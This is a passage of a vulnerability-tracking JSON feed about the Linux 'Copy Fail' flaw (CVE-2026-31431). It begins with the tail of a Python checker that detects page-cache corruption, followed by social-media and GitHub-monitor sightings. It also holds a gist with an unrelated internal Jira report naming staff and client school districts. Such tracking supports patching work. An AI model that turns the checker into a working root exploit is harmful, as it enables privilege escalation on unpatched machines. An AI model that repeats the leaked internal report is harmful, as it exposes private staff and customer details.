{e}\")\n        return 1\n    finally:\n        try:\n            os.remove(target)\n            os.rmdir(tmp)\n        except OSError:\n            pass\n\n    # The exact landing offset of the 4-byte scratch write depends on how\n    # the source/destination scatterlists are laid out by algif_aead for this\n    # combination of inline-AAD + spliced-page input. What's invariant is that\n    # the 4 bytes from AAD seqno_lo (our marker) appear somewhere in the page,\n    # AND the marker is not present in the original sentinel.\n    marker_off  = after.find(MARKER)\n    marker_orig = sentinel.find(MARKER)\n    diffs       = [i for i in range(PAGE) if after[i] != sentinel[i]]\n\n    if marker_off >= 0 and marker_orig < 0:\n        ctx = after[max(marker_off - 4, 0):marker_off + 12]\n        print(f\"[!] VULNERABLE to CVE-2026-31431.\")\n        print(f\"[!]   Marker {MARKER!r} (AAD seqno_lo) landed in the spliced \"\n              f\"page-cache page at offset {marker_off}.\")\n        print(f\"[!]   Surrounding bytes: {ctx.hex()}  ({ctx!r})\")\n        print(f\"[!] Apply the upstream fix or block algif_aead immediately.\")\n        return 2\n\n    if diffs:\n        first = diffs[0]\n        window = after[first:first + 16]\n        print(f\"[!] Page cache MODIFIED via in-place AEAD splice path \"\n              f\"({len(diffs)} bytes changed, first at offset {first}).\")\n        print(f\"[!]   Window: {window.hex()}\")\n        print(f\"[!]   The controllable scratch-write marker did not land, but \"\n              f\"the kernel still allowed a page-cache page into the writable \"\n              f\"AEAD destination scatterlist.\")\n        print(f\"[!]   Treat as VULNERABLE to the underlying bug class until \"\n              f\"a patched kernel is installed.\")\n        return 2\n\n    print(\"[+] Page cache intact. NOT vulnerable on this kernel.\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())", "creation_timestamp": "2026-05-06T15:53:28.000000Z"}, {"uuid": "a6df5826-7e7b-4177-abab-e6ede39bd765", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83088", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-Copy-Fail-Container-Escape\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a hans362\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-06 15:47:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-06T16:00:05.000000Z"}, {"uuid": "19f5a1cd-54da-4efc-8bf6-c7184a938de0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/technadu/statuses/116528712933814184", "content": "CISA warns: CopyFail Linux vuln exploited.\u2022 Privilege escalation \u2192 root\u2022 Impacts major distros\u2022 Patch deadline May 15\nhttps://www.technadu.com/cisa-warns-of-severe-copyfail-linux-vulnerability-under-active-exploitation-cve-2026-31431/627365/\nAre you patched?#InfoSec #Linux #CyberSecurity", "creation_timestamp": "2026-05-06T17:04:12.756967Z"}, {"uuid": "9f575a6f-0185-43e5-8a71-6a1179142a9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83095", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a StarxSky\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-06 16:57:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\"Copy Fail\" \n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-06T17:00:05.000000Z"}, {"uuid": "6cb638ae-b23b-4b59-aaed-41eb5a6f1211", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newsyc200.bsky.social/post/3ml7fcqcilc2m", "content": "CVE-2026-31431: Copy Fail vs. rootless containers https://www.dragonsreach.it/2026/05/04/cve-2026-31431-copy-fail-rootless-containers/ (http://news.ycombinator.com/item?id=48017813)", "creation_timestamp": "2026-05-06T19:03:24.449786Z"}, {"uuid": "c07a7798-672b-4083-8e70-71533f4ad62e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ml7iojj2322z", "content": "Linux\u306e\u65b0\u305f\u306a\u300c\u30b3\u30d4\u30fc\u5931\u6557\u300d\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u4e3b\u8981\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u3067\u30eb\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u304c\u53ef\u80fd\u306b\n\n\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7814\u7a76\u8005\u3089\u306f\u3001Linux\u306e\u30ed\u30fc\u30ab\u30eb\u6a29\u9650\u6607\u683c\uff08LPE\uff09\u306e\u8106\u5f31\u6027\u306e\u8a73\u7d30\u3092\u660e\u3089\u304b\u306b\u3057\u305f\u3002\u3053\u306e\u8106\u5f31\u6027\u3092\u5229\u7528\u3059\u308c\u3070\u3001\u6a29\u9650\u3092\u6301\u305f\u306a\u3044\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u304croot\u6a29\u9650\u3092\u53d6\u5f97\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\n\nCVE-2026-31431\uff08CVSS\u30b9\u30b3\u30a2\uff1a7.8\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u6df1\u523b\u5ea6\u306e\u9ad8\u3044\u8106\u5f31\u6027\u306f\u3001Xint.io\u3068Theori\u306b\u3088\u3063\u3066Copy Fail\u3068\u3044\u3046\u30b3\u30fc\u30c9\u30cd\u30fc\u30e0\u304c\u4ed8\u3051\u3089\u308c\u307e\u3057\u305f\u3002\n\n\u300c\u6a29\u9650\u306e\u306a\u3044\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u306f\u3001Linux\u30b7\u30b9\u30c6\u30e0\u4e0a\u306e\u8aad\u307f\u53d6\u308a\u53ef\u80fd\u306a\u30d5\u30a1\u30a4\u30eb\u306e\u30da\u30fc\u30b8\u30ad\u30e3\u30c3\u30b7\u30e5\u306b4\u30d0\u30a4\u30c8\u306e...", "creation_timestamp": "2026-05-06T20:03:45.381561Z"}, {"uuid": "8f5a5709-510c-442f-ab1e-2b93e84ee84d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ml7isk3o222z", "content": "Linux\u30ab\u30fc\u30cd\u30eb\u306e\u300c\u30b3\u30d4\u30fc\u5931\u6557\u300d\u30ed\u30b8\u30c3\u30af\u306e\u6b20\u9665\u306b\u3088\u308a\u30b7\u30b9\u30c6\u30e0\u4e57\u3063\u53d6\u308a\u304c\u53ef\u80fd\u306b\n\nCVE-2026-31431\uff08CVSS\u30b9\u30b3\u30a27.8\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3001 \u300cCopy Fail\u300d\u3068\u547c\u3070\u308c\u3066\u3044\u308b\u3053\u306e\u554f\u984c\u306f\u30012017\u5e74\u4ee5\u964d\u306e\u3059\u3079\u3066\u306eLinux\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u3068\u8003\u3048\u3089\u308c\u3066\u3044\u307e\u3059\u3002\n\n\u3053\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u306f\u3001IPsec\u304c\u62e1\u5f35\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\uff08ESN\uff09\u306e\u30b5\u30dd\u30fc\u30c8\u306b\u4f7f\u7528\u3059\u308b \u30ab\u30fc\u30cd\u30eb\u306e\u8a8d\u8a3c\u4ed8\u304d\u6697\u53f7\u5316\uff08AEAD\uff09\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u307e\u3059\u3002\n\nTheori\u6c0f\u306b\u3088\u308b\u3068\u3001\u554f\u984c\u306fLinux\u304c\u30da\u30fc\u30b8\u30ad\u30e3\u30c3\u30b7\u30e5\u30da\u30fc\u30b8\u3092\u66f8\u304d\u8fbc\u307f\u53ef\u80fd\u306a\u30b9\u30ad\u30e3\u30c3\u30bf\u30fc\u30ea\u30b9\u30c8\u306b\u914d\u7f6e\u3059\u308b\u3053\u3068\u3001authencesn\u304c\u547c...", "creation_timestamp": "2026-05-06T20:05:58.547194Z"}, {"uuid": "bee1c039-f5e5-4cbc-9487-f3724786a938", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/intel.overresearched.net/post/3ml7lawv3vk2v", "content": "PAN-OS CVE-2026-0300 zero-day exploited (CVSS 9.3)\nLinux 'Copy Fail' CVE-2026-31431 LPE\nAPT37 BirdCall, MuddyWater Teams decoy, ShinyHunters 280M Instructure records\n\nFull brief: intel.overresearched.net/2026/05/06/c...\n#Daily #ThreatIntel #InfoSec", "creation_timestamp": "2026-05-06T20:49:48.038201Z"}, {"uuid": "0e1915fa-3c78-4dcf-9221-b010001ed231", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/serena666.bsky.social/post/3ml7lzrmaaq2k", "content": "BEFORE: Cloud was secure. AFTER: \"Copy Fail\" (CVE-2026-31431) lets any rando get root on your Linux box. Millions of k8s clusters at risk. Patch NOW or get pwned. \ud83e\udd26", "creation_timestamp": "2026-05-06T21:03:41.096305Z"}, {"uuid": "93dcfbdf-4a8b-49c1-9bfe-e7b2b86eb2cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/dfedmpls.bsky.social/post/3ml7m4ungtk2t", "content": "Holy shit CVE-2026-31431\n\nnvd.nist.gov/vuln/detail/...", "creation_timestamp": "2026-05-06T21:05:24.092237Z"}, {"uuid": "a8485898-022c-4f2b-8fd4-33a1e31734f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ef-edulog/3b5bccc17b7e14b046e06c7692b3a1de", "content": "\n\n\n\n\nJira Report \u2014 DO / IM / S2\n\n  :root {\n    --bg: #fff; --bg2: #f5f4ef; --bg3: #ebebeb;\n    --tx: #1a1a1a; --tx2: #666660; --tx3: #999994;\n    --info: #185FA5; --bdr: rgba(0,0,0,0.12); --bdr2: rgba(0,0,0,0.22);\n    --r: 8px; --rl: 12px;\n    --font: -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;\n    --mono: 'SF Mono','Fira Code',monospace;\n  }\n  @media(prefers-color-scheme:dark){\n    :root{--bg:#1e1e1c;--bg2:#2a2a28;--bg3:#333330;--tx:#f0efe8;--tx2:#a8a79f;--tx3:#6e6e68;--info:#85B7EB;--bdr:rgba(255,255,255,0.1);--bdr2:rgba(255,255,255,0.18)}\n  }\n  *{box-sizing:border-box;margin:0;padding:0}\n  body{font-family:var(--font);background:var(--bg);color:var(--tx);padding:24px;max-width:1300px;margin:0 auto}\n  h1{font-size:18px;font-weight:500;margin-bottom:4px}\n  .sub{font-size:12px;color:var(--tx2);margin-bottom:20px}\n  .tabs{display:flex;gap:6px;margin-bottom:1.25rem;flex-wrap:wrap}\n  .tab{padding:5px 13px;border:0.5px solid var(--bdr2);border-radius:var(--r);font-size:13px;cursor:pointer;background:var(--bg);color:var(--tx2)}\n  .tab.active{background:var(--bg2);color:var(--tx);font-weight:500}\n  .tab:hover:not(.active){background:var(--bg2)}\n  .legend{display:flex;gap:14px;flex-wrap:wrap;margin-bottom:1rem;font-size:11px;color:var(--tx2);align-items:center}\n  .li{display:flex;align-items:center;gap:4px}\n  .ld{width:9px;height:9px;border-radius:2px}\n  .summary-grid{display:grid;grid-template-columns:repeat(3,minmax(0,1fr));gap:8px;margin-bottom:1.25rem}\n  .metric{background:var(--bg2);border-radius:var(--r);padding:10px 12px}\n  .ml{font-size:11px;color:var(--tx2);margin-bottom:3px}\n  .mv{font-size:20px;font-weight:500}\n  .project-block{margin-bottom:1.1rem;border:0.5px solid var(--bdr);border-radius:var(--rl);overflow:hidden}\n  .ph{padding:9px 14px;border-bottom:0.5px solid var(--bdr);display:flex;align-items:center;justify-content:space-between}\n  .pn{font-size:13px;font-weight:500}\n  .pm{font-size:11px;color:var(--tx2)}\n  .th{padding:5px 14px;font-size:11px;font-weight:500;color:var(--tx2);background:var(--bg2);display:flex;align-items:center;gap:6px;border-top:0.5px solid var(--bdr)}\n  .tc{background:var(--bg3);color:var(--tx2);padding:1px 6px;border-radius:var(--r);font-size:10px}\n  .cols{display:grid;grid-template-columns:80px 1fr 86px 82px 82px 80px 98px;gap:4px;padding:4px 14px;font-size:10px;color:var(--tx3);background:var(--bg2);border-top:0.5px solid var(--bdr)}\n  .ir{display:grid;grid-template-columns:80px 1fr 86px 82px 82px 80px 98px;gap:4px;padding:6px 14px;align-items:start;border-top:0.5px solid var(--bdr);font-size:11px}\n  .ir.stale{background:rgba(250,238,218,0.3)}\n  .ir.highest{background:rgba(252,235,235,0.35)}\n  .ir.overdue{background:rgba(252,235,235,0.45)}\n  .ir.stale.highest,.ir.stale.overdue{background:rgba(250,220,200,0.45)}\n  @media(prefers-color-scheme:dark){\n    .ir.stale{background:rgba(99,56,6,0.2)}.ir.highest{background:rgba(121,31,31,0.2)}\n    .ir.overdue{background:rgba(121,31,31,0.3)}.ir.stale.highest,.ir.stale.overdue{background:rgba(110,40,6,0.28)}\n  }\n  .ik{color:var(--info);font-size:10px;font-family:var(--mono);white-space:nowrap;text-decoration:none}\n  .ik:hover{text-decoration:underline}\n  .is{color:var(--tx);line-height:1.4;overflow:hidden;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical}\n  .ia{color:var(--tx2);font-size:10px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}\n  .dt{font-size:10px;white-space:nowrap}\n  .upd-ok{color:var(--tx2)}.upd-stale{color:#BA7517;font-weight:500}\n  .due-ok{color:var(--tx2)}.due-over{color:#A32D2D;font-weight:500}\n  .cr{color:var(--tx2)}\n  @media(prefers-color-scheme:dark){.upd-stale{color:#FAC775}.due-over{color:#F7C1C1}}\n  .dot-h{display:inline-block;width:5px;height:5px;border-radius:50%;background:#E24B4A;margin-right:2px;vertical-align:middle}\n  .dot-s{display:inline-block;width:5px;height:5px;border-radius:50%;background:#EF9F27;margin-right:2px;vertical-align:middle}\n  .dot-d{display:inline-block;width:5px;height:5px;border-radius:50%;background:#D85A30;margin-right:2px;vertical-align:middle}\n  .sb{font-size:10px;padding:2px 6px;border-radius:var(--r);text-align:center;white-space:nowrap}\n  .s-ip{background:#FAEEDA;color:#854F0B}.s-td{background:#E1F5EE;color:#0F6E56}\n  .s-oi{background:#FCEBEB;color:#A32D2D}.s-xx{background:var(--bg2);color:var(--tx2)}\n  @media(prefers-color-scheme:dark){\n    .s-ip{background:#633806;color:#FAC775}.s-td{background:#085041;color:#9FE1CB}.s-oi{background:#791F1F;color:#F7C1C1}\n  }\n  .empty{padding:16px;text-align:center;color:var(--tx3);font-size:12px}\n  .footer{font-size:11px;color:var(--tx3);margin-top:24px}\n\n\n\n\nJira Active Issues Report \u2014 DO / IM / S2\n\nGenerated May 06, 2026 at 10:12 PM  \u00b7  Excludes Done, Fixed, Canceled, Deferred  \u00b7  https://karrostech.atlassian.net\n\nLast 24 hrs24\u201348 hrs ago2\u20137 days agoOlder than 7 days\n\n\n  Highest priority\n  Stale \u22655 business days\n  Due date missed\n\n\n\n\n\nDO \u2014 Edulog DevOps\n2\n\nIM \u2014 Incident Management\n0\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                2 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 2\n                    \n\n                      DO-2051\n                      Aldine, TX - Backup data and then copy to summer site\n                      \u2014\n                      May 6, '26\n                      May 6, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2049\n                      San Bernardino, CA - Please set up summer school ASDI \n                      Cory Emlen\n                      May 6, '26\n                      May 6, '26\n                      \u2014\n                      Verification\n                    \n\n\n\nDO \u2014 Edulog DevOps\n3\n\nIM \u2014 Incident Management\n5\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                3 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nTask 3\n                    \n\n                      DO-2042\n                      Client Cancelation for Kuna Joint School District, ID - May 29 shutdown\n                      Vader\n                      May 5, '26\n                      May 6, '26\n                      \u2014\n                      On hold\n                    \n                    \n\n                      DO-2041\n                      Remove the test server - fr-routing-legacy-test  it is no longer needed.\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2040\n                      Remove queuedNotification lambda function when associated NotificationService changes are deployed\n                      \u2014\n                      May 4, '26\n                      May 4, '26\n                      \u2014\n                      Backlog\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                5 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 4\n                    \n\n                      IM-7574\n                      Gwinnett, GA - Missing Data in Telematics\n                      Josiah Brown\n                      May 5, '26\n                      May 6, '26\n                      \u2014\n                      WORK IN PROGRESS\n                    \n                    \n\n                      IM-7573\n                      Brunswick County, NC - APP Issues\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7571\n                      Cleveland, OH - Client Reported Delays in Both Telematics and with Parent Portal Messages this Morning\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7569\n                      Zonar - Delay / Omission of pings to SM, PP\n                      Nick Sundberg\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \nTask 1\n                    \n\n                      IM-7572\n                      Framingham Public Schools, GPS units not reporting in since 11:30 AM today\n                      Nick Sundberg\n                      May 5, '26\n                      May 6, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n8\n\nIM \u2014 Incident Management\n13\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                8 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nBug 2\n                    \n\n                      DO-2034\n                      DP V2 (build 180/AV1): EDP gateway /v4.0/vehicles/search returns 0 vehicles for development-test-school tenant\n                      \u2014\n                      May 3, '26\n                      May 3, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2033\n                      DP V2 (build 180/AV1): POST /apilive/setting/event/add returns 500 after login (tenantId='', deviceId=0)\n                      \u2014\n                      May 3, '26\n                      May 3, '26\n                      \u2014\n                      Backlog\n                    \nStory 1\n                    \n\n                      DO-2025\n                      Birdville, TX - Please deploy Telematics\n                      Cory Emlen\n                      Apr 29, '26\n                      May 6, '26\n                      \u2014\n                      IN PROGRESS\n                    \nTask 5\n                    \n\n                      DO-2037\n                      Deploy Hafeez's Data Build Tool\n                      Boluwatife Olaifa\n                      May 4, '26\n                      May 6, '26\n                      May 4, '26\n                      Backlog\n                    \n                    \n\n                      DO-2032\n                      Need script run on Cobb to remove duplicate locations\n                      Vader\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-2028\n                      All legacy PP ingestions have not run:\n                      Josiah Brown\n                      May 1, '26\n                      May 6, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2027\n                      Patch infra with CopyFail (CVE-2026-31431)\n                      Josiah Brown\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2026\n                      Johnston NC Demo Site down\n                      Vader\n                      Apr 30, '26\n                      May 6, '26\n                      \u2014\n                      Verification\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                13 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 13\n                    \n\n                      IM-7567\n                      Fayette County, no bus event update since 4/29\n                      \u2014\n                      May 1, '26\n                      May 6, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7564\n                      Knox, TN - Gps units not reporting in since yesterday\n                      \u2014\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7563\n                       West Shore - Parent Portal not working\n                      Brandon Donnelson\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7561\n                      Denton, TX - Parent Portal App is not tracking buses\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7560\n                      Suffolk, call from parent experiencing tracking issues.\n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7559\n                      New Kent, parent portal not tracking\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7557\n                      New Hanover, Parent portal  tracking issues\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7556\n                      Jefferson, parent portal not tracking \n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7555\n                      Elyria-OH ,Parent Portal App don't track the bus.\n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7554\n                      Peoria, AZ - Parent Portal Down\n                      Brandon Donnelson\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7553\n                      Stanfield, AZ's Parent Portal is not working as of this morning.  Last reading 4:16am.  \n                      \u2014\n                      Apr 30, '26\n                      May 6, '26\n                      \u2014\n                      Blocker\n                    \n                    \n\n                      IM-7551\n                      SM Can't Send Messages to PP/PPL\n                      Boluwatife Olaifa\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7550\n                      Cleveland, OH - Not able to track buses - GPS tracking down\n                      Kehinde Metibemu\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n50\n\nIM \u2014 Incident Management\n0\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                50 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nATH New site request 1\n                    \n\n                      DO-1787\n                      Elyria, OH - Athena Conversion from Legacy\n                      Cory Emlen\n                      Mar 17, '26\n                      Apr 30, '26\n                      Apr 17, '26\n                      Blocked\n                    \nBug 49\n                    \n\n                      DO-1905\n                      Parent Portal missing route/vehicle data after EKS 1.34 upgrade \u2014 missed cron sync + Hibernate 6 bug\n                      \u2014\n                      Apr 6, '26\n                      Apr 6, '26 (22d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1855\n                      There is no data available in Route assignment, Live substitution modules of Telematcis for Johnston site\n                      Mide Dickson\n                      Mar 26, '26\n                      Mar 26, '26 (29d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1854\n                      There is no data available in multiple pages like Students, Runs, Routes modules of Routing for Johnston site \n                      Mide Dickson\n                      Mar 26, '26\n                      Mar 26, '26 (29d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1842\n                      EDTA service missing MongoDB JVM args \u2014 broken on 57 production tenants\n                      \u2014\n                      Mar 25, '26\n                      Mar 25, '26 (30d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1801\n                      release-2-fr - Elastic search error displays into log - Unable to search for stop locations\n                      \u2014\n                      Mar 19, '26\n                      Mar 19, '26 (34d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1786\n                      [EastAllen, IN 1.78 Smoke]CA Result CSV \u2013 Export fails for valid dates with 400 Bad Request (invalid page number)\n                      Dane Elwood\n                      Mar 17, '26\n                      Mar 26, '26 (29d)\n                      \u2014\n                      Blocked\n                    \n                    \n\n                      DO-1785\n                      [EastAllen, IN 1.78 Smoke]Vehicles \u2013 Seating Configuration popup shows error \u201cnetwork issues\u201d due to backend API failure\n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1784\n                      [Lake Superior 1.78 Smoke]Time & Attendance module not opening from main dashboard\n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1783\n                      Config API is failing for Time & Attendance module in Collinsville site \n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1782\n                      Several API calls are failed in ultilities --> Employee Import and Queue Priority modules \n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1779\n                      [Cleveland -1.78] [Time & attendance][Absence Record] Data preview is not available\n                      Josiah Brown\n                      Mar 16, '26\n                      Mar 16, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1776\n                      Routes API CORS Blocked & Gateway Timeout on Routes Management Page\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 15, '26 (38d)\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-1775\n                      [Chicago-1.78] [Telematics --> Edulog standard reports] - Unable to select date range for AM on time report\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 13, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1768\n                      [moorhead 1.78.0] [Telematics] [Vehicle Plan Error] Front end error for Vehicle on Route Historical view\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 16, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1767\n                      500 Internal Server Error on Athena Routing Screen \u2013 eligibilities API\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 23, '26 (32d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1766\n                      [Helena] API call fails on clicking \"Add New\" Student \n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 23, '26 (32d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1765\n                      Deleting a student without entering any data in Add student form is giving 405 error \n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 27, '26 (28d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1761\n                       is displayed against a checkbox on Custom transportation Needs \n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1760\n                      Pick A Location - External address return as the SA\" is failing because the \"Pick A Location\" button cannot be located on the page, preventing test execution.\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To 